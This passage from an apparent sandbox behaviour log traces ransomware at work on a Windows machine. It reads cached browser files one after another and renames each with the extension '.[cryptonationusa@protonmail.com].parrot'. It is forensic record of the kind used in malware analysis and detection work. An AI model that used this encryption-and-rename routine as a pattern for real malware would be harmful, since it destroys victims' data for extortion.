returned 1 [0082.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.443] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.444] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MSNIdSync[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\msnidsync[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MSNIdSync[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\msnidsync[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.460] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.460] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.462] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.462] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6b6d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x6b6d, lpOverlapped=0x0) returned 1 [0082.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.463] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.466] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.470] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.470] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.471] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.471] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5f44, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x5f44, lpOverlapped=0x0) returned 1 [0082.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.473] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.476] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[2].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[2].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[2].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.479] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.479] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.481] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.481] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x67, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x67, lpOverlapped=0x0) returned 1 [0082.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.481] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.482] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\tecjslog[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\tecjslog[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.485] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.485] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.486] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.486] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x805a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x805a, lpOverlapped=0x0) returned 1 [0082.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.489] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.489] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.492] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.492] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.494] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.494] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x911, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x911, lpOverlapped=0x0) returned 1 [0082.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.495] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.495] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\th[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\th[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.498] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0082.499] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbe99cf00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbe99cf00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.541] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45027e90, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45027e90, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xbdc5f4a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xa878, dwReserved0=0x0, dwReserved1=0x0, cFileName="19619569[1].gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="196195~1.PAR")) returned 1 [0082.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0082.543] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0082.546] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.546] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.548] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.548] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.548] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe967230, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe967230, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x7f7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg", cAlternateFileName="0FF929~1.JPG")) returned 1 [0082.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0082.548] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.548] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.550] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.550] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7f7e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7f7e, lpOverlapped=0x0) returned 1 [0082.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.553] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.555] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.561] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.561] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.566] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.566] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc05f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xc05f, lpOverlapped=0x0) returned 1 [0082.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.570] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.572] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.575] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.575] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.576] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.577] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3e3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3e3, lpOverlapped=0x0) returned 1 [0082.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.577] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.577] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.582] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.582] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.608] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.608] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1d0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1d0, lpOverlapped=0x0) returned 1 [0082.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.609] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.609] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.613] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.613] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.615] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.615] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c4, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1c4, lpOverlapped=0x0) returned 1 [0082.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.615] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.615] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.618] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.619] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.620] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.620] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2ed, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2ed, lpOverlapped=0x0) returned 1 [0082.620] RtlAllocateHeap (HeapHandle=0x5b0000, 